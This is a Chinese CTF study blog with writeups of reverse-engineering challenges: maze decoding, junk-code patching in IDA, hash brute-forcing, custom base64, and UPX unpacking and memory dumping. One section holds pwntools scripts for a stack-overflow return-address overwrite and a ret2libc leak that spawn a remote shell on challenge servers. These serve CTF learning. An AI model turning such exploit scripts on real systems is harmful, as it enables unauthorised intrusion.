刷题记录

Juana_2u 记录来时的路

NKCTF20230318

PKMF
题目描述:flag格式为nkctf{xxx},flag全小写字母,中间的xxx为nkctf文件中写入的十六进制内容
直接进入主函数查看,这是简单整理后的主函数的样子,标上了一些比较显眼的变量和一些注释。

1680016194354-5acf3de7-44a7-4845-bc70-9dc959b203db

1680016222684-73dc3bc6-fa4f-4274-84de-12e34ac7e8b3

1680016248582-086abeb8-e51c-4f93-8ad1-32b37b3b9d27

通过大体浏览后知道最后的“Congratulations! you found it!\n”是我们需要的最终结果,所以前面不能使程序退出。
ReadFile函数是从文件中读出数据,通过if语句可知,one_read_5的值只能是5,否则就会返回“Wrong”并且退出程序。同理可知下面的key_nkman的值只能是key_yilai数组的值,点进去查看是“6E6B6D616E”这样的一串。key_nkman就等于“6E6B6D616E”。
继续往下 HEX_0x15 += key_nkman[time++];HEX_0x15是key_nkman数组的和,0x6E 0x6B 0x6D 0x61 0x6E和为0x215,又由于HEX_0x15是char类型,两个字节高位溢出,即HEX_0x15值是0x15
再往下是一个迷宫的描述,可以找到迷宫的原来的字符组成拼接一下,用脚本把迷宫的样子画出来
1680017946667-566df722-3daa-4300-8d18-9f0b55e69d59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<iostream>
using namespace std;

int main()
{
char s[] = "******************N...*****...*....***.*****..*...**.*...*****.*****.*.*.**....*..*...*..*....**.*.*..*...***.**...*.*.*******..*****..*......**.*......**.****.**...*****...*K...********************";
int i, j;
for (i = 0; i < 11; i++)
{
for (j = 0; j < 18; j++)
{
if (s[i * 18 + j] == '.')
cout << "." << ' ';
else if (s[i * 18 + j] == '*')
cout << "*" << ' ';
else
cout << s[i * 18 + j] << ' ';
}
cout << endl;
}
return 0;
}

每一行是18个元素,最后迷宫是长这样的
1680018030630-5eae6acc-261e-4922-9018-d5031089879d
既然知道是迷宫了,可由下面while for双嵌套语句中知道上下左右分别是0(上)1(右)2(下)3(左)
while(time<16)得到每四个为一组的迷宫路径是:1122 3322 1223 2211 0111 1101 0000 0101 1211 0111 2223 2330 3323 2211 1112 2333
在线转获得 0x5A 0xFA 0x6B 0xA5 0x15 0x51 0x00 0x11 0x65 0x15 0xAB 0xBC 0xFB 0xA5 0x56 0xBF
再由路径的4进制转为16进制与值为0x15的HEX_0x15进行异或操作。
最后可以使用脚本获得后面的flag数值

1
2
3
4
5
enc=[0x5A,0xFA,0x6B,0xA5,0x15,0x51,0x00,0x11,0x65,0x15 ,0xAB,0xBC,0xFB,0xA5,0x56,0xBF]
flag= []
for i in range(len(enc)):
flag.append(hex(enc[i]^0x15))
print(flag)

[‘0x4f’, ‘0xef’, ‘0x7e’, ‘0xb0’, ‘0x0’, ‘0x44’, ‘0x15’, ‘0x4’, ‘0x70’, ‘0x0’, ‘0xbe’, ‘0xa9’, ‘0xee’, ‘0xb0’, ‘0x43’, ‘0xaa’]
加上上面从文件读取到的
flag就是nkctf{056e6b6d616e4fef7eb0004415047000bea9eeb043aa}

ealier

运行程序后发现程序没有任何反应,查看发现存在花指令的干扰,所以首先要干的就是去花的工作。
先查看到的是call函数的花指令,同一种模式的去花,使用脚本完成。

对应的ida版本对应的api函数不同,所以要注意使用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import idautils
import idc
import ida_bytes #patch_byte函数的导入模块
import ida_search #ida_search函数的导入模块
import ida_idc #idc.next_head函数的导入模块

def my_nop(addr,endaddr):
while addr<endaddr:
patch_byte(addr,0x90)
addr+=1
pattern ="33 C0 85 C0 74 03 75 00 E8"
cur_addr=0x401000
end_addr=0x405000
while cur_addr<end_addr:
cur_addr=ida_search.find_binary(cur_addr,end_addr,pattern,0,ida_search.SEARCH_DOWN)
##ida_search.find_binary是对应着的7.7版本,(通过ida的报错改得)

print("patch address:"+str(cur_addr))
if cur_addr == idc.BADADDR: #BADADDR无效地址
break
else:
my_nop(cur_addr,cur_addr+9)
cur_addr=idc.next_head(cur_addr)#下一个指令的地址

ida_search.find_binary(cur_addr,end_addr,pattern,0,ida_search.SEARCH_DOWN)
五个参数分别是:起始位置、结束位置、

  • cur_addr:起始地址,搜索将从该地址开始。
  • end_addr:结束地址,搜索将在该地址处停止。
  • pattern:要搜索的二进制模式,可以是字节字符串或16进制字符串。例如,**”\x33\xC0\x85\xC0\x74\x03\x75\x00\xE8“**或”33 C0 85 C0 74 03 75 00 E8”。
  • **0 **默认值为0的参数用来表示标志的开关状态
  • ida_search.SEARCH_DOWN:搜索标志,可以是以下之一或它们的组合:
    • ida_search.SEARCH_DOWN:向下搜索。
    • ida_search.SEARCH_UP:向上搜索。
    • ida_search.SEARCH_NEXT:搜索下一个匹配项。
    • ida_search.SEARCH_CASE:区分大小写。
    • ida_search.SEARCH_REGEX:启用正则表达式搜索。

CTFSHOW-NKCTF-4月四周-20230417

flag白给

一道易语言的题目,主要就是UPX_0.89.3xx的脱壳,简单对比一下就出来了

数学不及格

分析代码
中间只有一个加密函数f,看起来像是斐波那契
image.png
直接用爆破脚本 求出v10 v11 v12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *


v10= Real('v10')
v11 = Real('v11')
v12 = Real('v12')

s = Solver()

s.add(591286729879 - v10 == 3563142128)
s.add( 591286729879- v11 == 27692482650)
s.add( 591286729879 - v12 == 367672337)
s.add(58+ v12 + v11 + v10 == 19163201824812)
if s.check() == sat:
result = s.model()
print(result)
else:
print("no")
v1=hex(591286729879- 0x233F0E151C)
v2=hex(591286729879-0x1B45F81A32)
v3=hex(591286729879-0x244C071725)

print(v1)
print(v2)
print(v3)

#no
#0x666c61677b
#0x6e65776265
#0x655f686572

再用16进制的转文本的脚本得到flag

1
2
3
hex_string ='666c61677b6e65776265655f686572'
text = str(bytes.fromhex(hex_string), 'utf-8')
print(text) # 输出 'Hello World'

签退

先反编译一下 安装了一个之前没安装好的新工具uncompyle6

1
2
3
uncompyle6 -o pcat.py pcat.pyc
##默认文件夹是python下的文件夹
##-o outfile必须先写,例如有一个pcat.pyc,想反编译输出文件为pcat.py

反汇编出来的代码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# uncompyle6 version 3.9.0
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: re3.py
# Compiled at: 2020-03-06 17:43:28
import string
c_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '()'
flag = 'BozjB3vlZ3ThBn9bZ2jhOH93ZaH9'

##string.ascii_uppercase:所有的大写字母
##string.ascii_lowercase:所有的小写字母
##string.digits:所有的数字

###base64加密算法python的实现

def encode(origin_bytes):
c_bytes = [ ('{:0>8}').format(str(bin(b)).replace('0b', '')) for b in origin_bytes ]
#将每一位bytes转换为二进制字符串 8位数字右对齐

resp = ''
nums = len(c_bytes) // 3
remain = len(c_bytes) % 3

integral_part = c_bytes[0:3 * nums]
while integral_part:
# 取三个字节,以每6比特,转换为4个整数
tmp_unit = ('').join(integral_part[0:3])
tmp_unit = [ int(tmp_unit[x:x + 6], 2) for x in [0, 6, 12, 18] ]
# 取对应base64字符
resp += ('').join([ c_charset[i] for i in tmp_unit ])
integral_part = integral_part[3:]

if remain:
remain_part = ('').join(c_bytes[3 * nums:]) + (3 - remain) * '0' * 8
# 补齐三个字节,每个字节补充 0000 0000
tmp_unit = [ int(remain_part[x:x + 6], 2) for x in [0, 6, 12, 18] ][:remain + 1]
resp += ('').join([ c_charset[i] for i in tmp_unit ]) + (3 - remain) * '.'
# 取三个字节,以每6比特,转换为4个整数
# 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充.
return rend(resp)


def rend(s):

def encodeCh(ch):
f = lambda x: chr((ord(ch) - x + 2) % 26 + x)
if ch.islower(): #检测字符是否都是小写
return f(97)
if ch.isupper(): #检测字符是否都是大写
return f(65)
return ch

return ('').join(encodeCh(c) for c in s)

解读代码后直接写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string
import base64

c_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '()'
flag = 'BozjB3vlZ3ThBn9bZ2jhOH93ZaH9'

def rend(ch):
f = lambda x: chr((ord(ch) - x + 2) % 26 + x)
if ch.islower(): #检测字符是否都是小写
return f(97)
if ch.isupper(): #检测字符是否都是大写
return f(65)
return ch

tmp=''
for ch in flag:
tmp+=rend(ch)
print(tmp)
print(base64.b64decode(tmp))

##中间的是base64加密 是可以看出来的 先得到后面加密后的密文 再进行base64的解密
##需要注意的是别把文件起叫base64.py !!会和模块包名字起冲突!!

第二种思路

分为两段代码 一段是换表的base64加密,另一段是位移两位的凯撒密码加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string
c_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '()'
flag = 'BozjB3vlZ3ThBn9bZ2jhOH93ZaH9'

def encode(origin_bytes):
c_bytes = [ ('{:0>8}').format(str(bin(b)).replace('0b', '')) for b in origin_bytes ]
#将每一位bytes转换为二进制字符串 8位数字右对齐

resp = ''
nums = len(c_bytes) // 3
remain = len(c_bytes) % 3

integral_part = c_bytes[0:3 * nums]
while integral_part:
# 取三个字节,以每6比特,转换为4个整数
tmp_unit = ('').join(integral_part[0:3])
tmp_unit = [ int(tmp_unit[x:x + 6], 2) for x in [0, 6, 12, 18] ]
# 取对应base64字符
resp += ('').join([ c_charset[i] for i in tmp_unit ])
integral_part = integral_part[3:]

if remain:
remain_part = ('').join(c_bytes[3 * nums:]) + (3 - remain) * '0' * 8
# 补齐三个字节,每个字节补充 0000 0000
tmp_unit = [ int(remain_part[x:x + 6], 2) for x in [0, 6, 12, 18] ][:remain + 1]
resp += ('').join([ c_charset[i] for i in tmp_unit ]) + (3 - remain) * '.'
# 取三个字节,以每6比特,转换为4个整数
# 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充.
return rend(resp)
1
2
3
4
5
6
7
8
9
10
def rend(s):

def encodeCh(ch):
f = lambda x: chr((ord(ch) - x + 2) % 26 + x)
if ch.islower(): #检测字符是否都是小写
return f(97)
if ch.isupper(): #检测字符是否都是大写
return f(65)
return ch

反过来就是先将 ‘BozjB3vlZ3ThBn9bZ2jhOH93ZaH9’ 凯撒密码位移两位解码,再base64换表解密 得到flag

CTFSHOW-BUUCTF-20230412

CrackRTF

加密算法的标识码:
https://learn.microsoft.com/en-us/windows/win32/seccrypto/alg-id
image.png
读反汇编代码
发现主要的思路就是上图这样,输入两次密码,分别定义为:input_1和input_2
input_1输入后会进行一次加密,进入加密算法,通过0x8004u知道该密码标识符是sha1加密算法,即input_1+“@DBApp”赋值input_1==SHA1==> “6E32D0943418C2C33385BC35A1470250DD8923A9”
image.png
写出碰撞的加密脚本

1
2
3
4
5
6
7
8
import hashlib
flag2='@DBApp'
for i in range(100000,999999):
h2 = hashlib.sha1((str(i)+flag2).encode("utf-8"))
flags = h2.hexdigest()
if "6e32d0943418c2c33385bc35a1470250dd8923a9" == flags: ##全小写
print(str(i)+flag2)
print(flags)

同样的方法,找到密码标识符后,确定是MD5加密方法,接着向下input_2+前面的input_1(加上“@DBApp”后)==MD5==> “27019e688a4e62a649fd99cadaafdb4e” 求得input_2== “!3a@0” (爆破的方法似乎行不通,不知道为啥这个MD5破解网站 可以 magic)
image.png
得到dbapp.rtf文件获得flag文件
image.png


存在的非预期解是在最后的函数里,存在一个调用函数
image.png
一个一个去查函数的作用,主要作用是将一个资源中的数据写入到一个名为”dbapp.rtf“文件中去,其他各个函数的含义:
FindResourceA 查找资源 参数包括资源 ID (0x65) 和资源类型 (“AAA”)。
SizeofResource 获取资源的大小 LoadResource 加载资源 LockResource 锁定资源
调用另一个函数 sub_401005,作用是将第一个参数 lpString 中的字符串与 lpBuffer 中的数据进行处理,即与前6个字符的异或,并将处理结果存储到 lpBuffer 中。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib

passwd1 = "6e32d0943418c2c33385bc35a1470250dd8923a9"
passwd2 = "27019e688a4e62a649fd99cadaafdb4e"
suffix = "@DBApp"
aaa = [0x5, 0x7d, 0x41, 0x15, 0x26, 0x1] #AAA资源的前6个字节
rtf_header = [0x7b, 0x5c, 0x72, 0x74, 0x66, 0x31] # RTF文件头前6给字节

pass1 = ""
pass2 = ""
for i in range(100000,1000000):
instr = str(i) + suffix
res = hashlib.sha1(instr.encode('utf-8')).hexdigest()
if res == passwd1:
pass1 = str(i)
print("passwd1 = ", pass1)
break

for i in range(6):
res = aaa[i] ^ rtf_header[i]
pass2 += chr(res)
print("passwd2 = ", pass2)

CTFSHOW 二进制玩家人均全栈

首先得到的是一个名叫zip的文件,用010打开查看,发现是个PK文件头的压缩文件,但是发现是的与正常压缩包文件的前几个字节存在偏差,所以需要手动修复文件
修改前文件
image.png
修改后的文件
image.png
个人觉得这一步不需要 ,14 00两位是使用的PKware的版本,08 00判断是否有加密,如果直接用更改后缀名的方式也是可以实现的
解出一个无后缀的文件,放在ubantu发现执行不了这个文件,原因是文件头错误,所以需要更改文件头继续执行文件。
image.png
查看原来文件头的数据,并更改成正确的elf文件的文件头

PE文件文件头数据是:4D 5A 90 00
image.png
ELF文件文件头数据是:7F 45 4C 46
v2-80cb4f8fe1c2f4225bac1b2147cfab5b_720w.jpg
电脑暂时没有ELF文件,盗了张图(原链接戳这里 )

更改后重新测试,说明文件就改好了撒花(误
image.png
之后正常地分析文件,发现还需要将upx壳脱掉,自动脱壳。。。脱不掉。
image.png

planA:dumpfile脚本脱壳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <idc.idc>
#define PT_LOAD 1
#define PT_DYNAMIC 2
static main(void)
{
auto ImageBase,StartImg,EndImg;
auto e_phoff;
auto e_phnum,p_offset;
auto i,dumpfile;
ImageBase=0x400000;
StartImg=0x400000;
EndImg=0x0;
if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f )
{
if(dumpfile=fopen("C:\\TOOLS\\dumpfile","wb")) //需要更改文件的路径(若没有的需要新建dumpfile无后缀文件,双斜线)
{
e_phoff=ImageBase+Qword(ImageBase+0x20);
Message("e_phoff = 0x%x\n", e_phoff);
e_phnum=Word(ImageBase+0x38);
Message("e_phnum = 0x%x\n", e_phnum);
for(i=0;i<e_phnum;i++)
{
if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)
{
p_offset=Qword(e_phoff+0x8);
StartImg=Qword(e_phoff+0x10);
EndImg=StartImg+Qword(e_phoff+0x28);
Message("start = 0x%x, end = 0x%x, offset = 0x%x\n", StartImg, EndImg, p_offset);
dump(dumpfile,StartImg,EndImg,p_offset);
Message("dump segment %d ok.\n",i);
}
e_phoff=e_phoff+0x38;
}

fseek(dumpfile,0x3c,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);

fseek(dumpfile,0x28,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);

fclose(dumpfile);
}else Message("dump err.");
}
}
static dump(dumpfile,startimg,endimg,offset)
{
auto i;
auto size;
size=endimg-startimg;
fseek(dumpfile,offset,0);
for ( i=0; i < size; i=i+1 )
{
fputc(Byte(startimg+i),dumpfile);
}
}

下断点进行动态调式,找到oep(程序的入口点 What is OEP? )
首先,retn指令下断点F9跳到断点处
image.png
3032507-20230208105713953-267849918.png
1.F8单步执行,找下一个retn指令
2.在retn处下断点,F9跳过,F8单步
3.继续向下找retn重复2步骤
重复个几次,之后一直F8,最终到达这里。
3032507-20230208105137216-81322655.png
后面是一次大跳转,就会跳到OEP处,接着F8来到下图的位置
image.png
继续执行到返回弹窗
3032507-20230208105906624-210014495.png
提示是返回的地方没有被定义为代码,问是否需要定义,选择Yes
image.png
这样就来到了OEP的位置
快捷键alt+F7点击上面的脚本,运行成功得到的dump文件就是最后我们需要的内存文件。
image.png
image.png
提示运行成功,报错dump err就检查之前设置的dump文件路径有没有错误的,这种方法获得是加壳之前的内存文件,转移到了dump文件中,接下来分析的就是路径下的dump文件了。

planB:魔改UPX壳

已经判断了该程序的壳是UPX 但在010中会发现有vmp的壳,所以将upx壳的特征值改回来,之后再用机器脱壳
dbe259f3726f4b2199fd41878c5f5655.png

planC:其他方法

方法1:单步跟踪
只向下调不向上调
方法2:ESP定律法
dd XXXXX
hr XXXXX
方法3:2次内存镜像法
方法4:一步直达法

https://blog.csdn.net/m0_46296905/article/details/116049504
image.png
image.png
最后明显就是迷宫路线题,套路套路答案就出了,之前又搞过就不写了
https://www.cnblogs.com/r136a1/p/17101192.html
https://blog.csdn.net/weixin_53349587/article/details/124676648

CTFSHOW-9月刷题

密文解密网站:
https://txtmoji.com/

pwn02

栈溢出的题,直接接收溢出的字符串即可获得服务器权限

1
2
3
4
5
6
7
from pwn import *
#p = process("./pwn1")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x9+4) + p32(0x0804850F)
p.send(payload)
p.interactive()

pwn03

开了aslr保护,同时字符串并没有直接给出栈溢出的点 即bin/sh的字样,涉及到plt和got表,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
elf = ELF('./stack1')
io=remote('pwn.challenge.ctf.show','28300')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

CTFSHOW-3月四周-20230320

武穆遗书

fmf_my_reverse.exe
查壳upx先脱壳upx -d [fileaddress] 脱完后发现程序还是运行不了(程序是32位,所以无法在64位系统上运行)直接用ida反汇编
进入主函数发现使用了好多的api函数
image.png
分析一下这段代码

  1. 调用三个未知函数sub_4011D0()、sub_401200()、sub_401280()
  2. if判断,调用sub_401040()函数,如果函数返回值 !=0,即执行exit(0)退出程序;
  3. v4 = (const char *)operator new(0x1Cu); 使用C++中operator new运算符动态分配内存,申请了一块内存大小是0x1C字节,返回的指针存储在v4中
  4. sub_401390((int)v4, (int)v5, (int)&unk_4070F4, 28)调用了sub_401390函数,将v4, v5, &unk_4070F4, 28作为参数传递给函数
  5. 同2
  6. 进入while的无限循环,
  7. gets(v6);观察下面的函数,知道gets函数从输入中读取用户输入的字符串,存储在v6中,gets函数存在缓冲区溢出的风险
  8. fflush((FILE *)iob[0]._ptr);百度知道是为:清空输入缓冲区,防止缓冲区溢出
  9. if ( !strcmp(v4, v6) ) break; 相等的话就跳出循环,否则输出密码错误的提示信息

printf("password error!!! please try again!\nyour input is %s \n", v6);

  1. 跳出循环即输出成功信息printf("win!!!the password and your input are all %s\n", v6);,并打印用户输入的密码
  2. 最后执行Command的系统命令

下断点调试,老是会闪退,查了之后推测是用了反调试的手段

其他反调试手段:

  1. 检测调试器:软件会检测调试器的存在,并根据检测结果采取相应的行动,例如自我终止、运行不同的代码等。
  2. 检测断点:软件会检测是否在代码中设置了断点,如果检测到断点,可能会改变代码执行路径,或自我终止等。
  3. 检测调用栈:软件会检测调用栈,以查找是否存在调试器,如果存在,则可能会改变代码执行路径,或自我终止等。
  4. 加壳/加密:软件加壳或加密后,使得调试器无法直接读取程序代码和数据,这样可以防止反汇编和调试。
  5. 虚拟化:软件会在虚拟机中运行,使得调试器无法直接访问真实的程序代码和数据,这样可以防止反汇编和调试。

大概有两种解法:
第一种就是nop掉程序中的exit后,程序动调就可以出flag
第二种attach the process,需要先把程序运行起来再选择才行,这个还是有点问题,改了程序的属性外加wow64文件夹,但发现程序还是会出现闪退的情况

反汇编和反调试学习

FS寄存器偏移值指向:
000 指向SEH链指针
004 线程堆栈顶部
008 线程堆栈底部
00C SubSystemTib
010 FiberData
014 ArbitraryUserPointer
018 FS段寄存器在内存中的镜像地址
020 进程PID
024 线程ID
02C 指向线程局部存储指针
030 PEB结构地址(进程结构)
034 上个错误号
原文链接:https://cloud.tencent.com/developer/article/1142065

CTFSHOW-3月三周-20230316

re3(20230316-17)

先看伪代码,发现逻辑是非常清晰的,定义v17长度是8的整型数组,经过for循环给v16赋值.
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  v7 = 0x50;
v8 = 0xFAE3;
v9 = 0xD7D3F7B;
v10 = 0xA43499F6;
v11 = 5;
v12 = 0x10;
v13 = 0xEF9;
v5 = 0;
puts("plz input the key:");
__isoc99_scanf("%s", s);
v3 = strlen(s);
strncpy(dest, v19, v3 - 6);
dest[strlen(s) - 6] = 0;
__isoc99_sscanf(dest, "%x", &v5);
v17[0] = v7;
v17[1] = v8;
v17[2] = v9;
v17[3] = v10;
v17[4] = (v11 << 12) + v12;
v17[5] = v13;
v17[6] = v5;
v16 = 0LL;
for ( i = 0; i <= 6; ++i )
{
for ( v16 += (unsigned int)v17[i]; v16 > 0xFFFF; v16 = v15 + (unsigned int)(unsigned __int16)v16 )
{
v14 = (unsigned __int16)v16;
v15 = v16 >> 16;
}
}
if ( v16 == 0xFFFF )
puts("OK");
else
puts("Error");
return 0;

需要得到的是输入的v5的值是什么四位数的值,v17数组最后一位是v5,暂且设置A是前面的得数 即A+v5==0xFFFF返回“ok”。
一开始的时候我是直接将v17上面给的固定的值全部加了起来,最后发现这个数已经不是符合flag条件的4位数字了 所以肯定是哪边算错了
image.png
后来发现for循环应该是一次一次的处理,v17[4]的值为0x5010,v17[5]的值为0xEF9,v17[6]的值是用户输入的数值。

v17[4]=0x5010 先将v11=5(DEC)的值化成二进制的0101,<<左移12在低位补0 得到16进制的(v11<<12)的值即0x5000. v12=0x10
v17[4]=(v11<<12)+v12 ==> 0x5000+0x10=0x5010
image.png

每一次循环都将v16加上数组元素v17[i]的值,每轮循环结束后,将检查v16的值是否超过了16位的最大值0xFFFF。如果超过了,则将v16高16位(即进位)的值保存在v15中,并将v16的低16位截断,只保留其低16位的值。

1
2
3
4
5
6
7
for(i=0;i<=6;++i){
for(v16+= (unsigned int)v17[i]; v16 > 0xFFFF; v16 = v15 + (unsigned int)(unsigned __int16)v16)
{
v14 = (unsigned __int16)v16;
v15 = v16 >> 16;
}
}

都将v16加上数组元素v17[i]的值。在每轮循环结束后,将检查v16的值是否超过了16位的最大值0xFFFF。如果超过了,则将v16高16位的值保存在v15中,并将v16的低16位截断,只保留其低16位的值。
每一次运行的结果第一次循环:

  • i = 0
  • v17[0] = 0x50
  • v16 = 0 + 0x50 = 0x50
  • v14 = 0x50
  • v15 = 0x00

第二次循环:

  • i = 1
  • v17[1] = 0xFAE3
  • v16 = 0x50 + 0xFAE3 = 0xFB33
  • v14 = 0xFB33 & 0xFFFF = 0xB33
  • v15 = 0xFB33 >> 16 = 0x00

第三次循环:

  • i = 2
  • v17[2] = 0xD7D3F7B
  • v16 = 0xFB33 + 0xD7D3F7B = 0xD7D4EC0E
  • v14 = 0xEC0E & 0xFFFF = 0xEC0E
  • v15 = 0xD7D4 & 0xFFFF = 0xD7D4

第四次循环:

  • i = 3
  • v17[3] = 0xA43499F6
  • v16 = 0xD7D4EC0E + 0xA43499F6 = 0x7B09E904
  • v14 = 0xE904 & 0xFFFF = 0xE904
  • v15 = 0x7B09 & 0xFFFF = 0x7B09

第五次循环:

  • i = 4
  • v17[4] = (5 << 12) + 0x10 = 0x5010
  • v16 = 0x7B09E904 + 0x5010 = 0x7B09EE14
  • v14 = 0xEE14 & 0xFFFF = 0xEE14
  • v15 = 0x7B09 & 0xFFFF = 0x7B09

第六次循环:

  • i = 5
  • v17[5] = 0xEF9
  • v16 = 0x7B09EE14 + 0xEF9 = 0x7B09FD0D
  • v14 = 0xFD0D & 0xFFFF = 0xFD0D
  • v15 = 0x7B09 & 0xFFFF = 0x7B09

第七次循环:

  • i = 6
  • v17[6] = v5
  • v16 = 0x7B09FD0D + v5

最后逻辑崩盘,需要用动态调试搞一波,一开始写了一个C++脚本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <bits/stdc++.h>
using namespace std;
int main() {
int v17[8] = { 0x50 ,0xFAE3,0xD7D3F7B ,0xA43499F6 ,0x5010 ,0xEF9 };
int v14,v15,v16;
for (int i = 0; i <= 6; ++i)
{
for (v16 += (unsigned int)v17[i]; v16 > 0xFFFF; v16 = v15 + (unsigned int)(uint16_t)v16)
{
v14 = (uint16_t)v16;
v15 = v16 >> 16;
}
}
if (v16 == 0xFFFF)
puts("OK");
else
puts("Error");
return 0;
}

发现存在报错的情况,逻辑上感觉没啥错误,像是操作不当的原因。
不过今天拓展了ubantu的gdb的界面
![0]]2I6`M68H0NL14{9K~KKW.jpg](https://cdn.nlark.com/yuque/0/2023/jpeg/23148330/1679066038125-c62305af-8599-43f5-920a-0d2cd122daa3.jpeg#averageHue=%23360e2d&clientId=u9a778dd9-a3b4-4&from=paste&height=945&id=u0bd99a6f&originHeight=945&originWidth=1470&originalType=binary&ratio=1&rotation=0&showTitle=false&size=145816&status=done&style=none&taskId=uc38c23aa-33c4-4ba1-874d-aa7b5919727&title=&width=1470 )
![Z7NWICH8I]6))BK)D_](OH6.jpg](https://cdn.nlark.com/yuque/0/2023/jpeg/23148330/1679066054181-710e9645-46e5-49ea-8511-f6f29139b47c.jpeg#averageHue=%233f1c35&clientId=u9a778dd9-a3b4-4&from=paste&height=447&id=ue4024e80&originHeight=447&originWidth=833&originalType=binary&ratio=1&rotation=0&showTitle=false&size=96201&status=done&style=none&taskId=u30a1fabe-93f0-4141-9d55-2eff5179bed&title=&width=833 )
但貌似这个东西可以在ida里直接实现就好了,呜呜呜 准备明天去问问Pwn同学是咋搞的
image.png
一步一步跟进之后貌似发现了‘Error’的位置

mingyue.exe(20230318)

先关闭安全软件运行一个这个可执行文件,发现应该是有一串关于弹窗的代码出现,
image.png
一般的会使用MessageBox的函数,这样的话,源代码应该是

1
2
3
4
5
6
7
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
MessageBox(NULL,"flag认证失败!","师傅再接再励吧!",MB_OK);
return 0;
}

通过这个查找字符串的看是否存在与我们上面推测的弹窗的内容,可以看到有两段可疑字符和一个MessageBoxW的标志
image.png
image.png
image.png
查看字符的地址与所在函数之后,查看主函数的逻辑
image.png
貌似主函数看不出什么弹窗的源代码和提示flag的地方,突破口就是可以输入的地方sub_140001080函数,n一下将v3改为input 跟进一下函数,参数v3对应就是这里的char a1,同改a1为input_num。a4890572163qwe函数就是我们刚刚发现的可以字符串的函数,n为string 整理一下函数和变量的名字。这段的代码就是给刚刚第一段的’)(&^%489$!057@#><:2163qwe’进行加密的运算
image.png
其中两个重要的函数xor和judge函数

xor函数的分析

image.png
可以通过以下几个特征来看出这是一个链表节点
特征

  1. 所占空间大小判定:内存块大小为 16 字节,一个链表节点通常需要存储两个指针,即指向下一个节点的指针和指向前一个节点的指针,每个指针通常需要占用 8 个字节的空间(在 64 位系统中),因此一个链表节点通常需要占用 16 个字节的空间。
  2. 特征函数判定:通过 malloc 函数分配内存块,这是链表节点动态内存分配的一种常见实现方式,因为链表节点数量通常不固定,所以需要动态分配内存来保存它们。
  3. 指针数组判定:通过一个指针数组来表示链表节点,返回值是一个指向 _QWORD 类型的指针,它指向了一个内存块,这个内存块的大小是 16 字节,即一个链表节点的大小。
  4. 通过将新分配的内存块的地址存储在全局变量中,将新节点插入链表的头部。这表明这是一个单向链表的实现方式。
  5. 内存块的第一个字节用来存储字符类型的值,这表明这个链表节点不仅包含指针,还包含数据。

judge函数的分析

改过之后的函数
image.png
image.png
跟进最后两个函数,发现是两个我们上面猜测的弹窗的代码内容。
image.pngimage.png
最后脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
using namespace std;
unsigned char table[27] = ")(*&^%489$!057@#><:2163qwe";
int XOR(unsigned char ch)
{
for (int i = 0; i < 27; i++)
if (table[i] == ch)
return i;
}
int main()
{
unsigned char arr[15] = "/..v4p$$!>Y59-";
int string[14];
long long int num = 0;
for (int i = 0; i < 14; i++)
{
num *= 26;
string[i] = XOR(arr[i] ^ 7);
num += string[i];
}
printf("%lld", num);
return 0;
}


>2484524302484524302

image.png
将数字输入之后返回正确的认证成功 即上面获得数字就是我们所要提交的flag
image.png
参考文章:
https://blog.csdn.net/OrientalGlass/article/details/129326915

re3车尾

上面卡在v5的输入那里,请教同学之后,可以使用动态调试将最后的结果爆破出来
ubantu运行./linux_sever64的程序,打好断点之后,Windows的ida动调程序开启
为了看起来比较简洁,将几个类型相同的变量组成一个新的数组
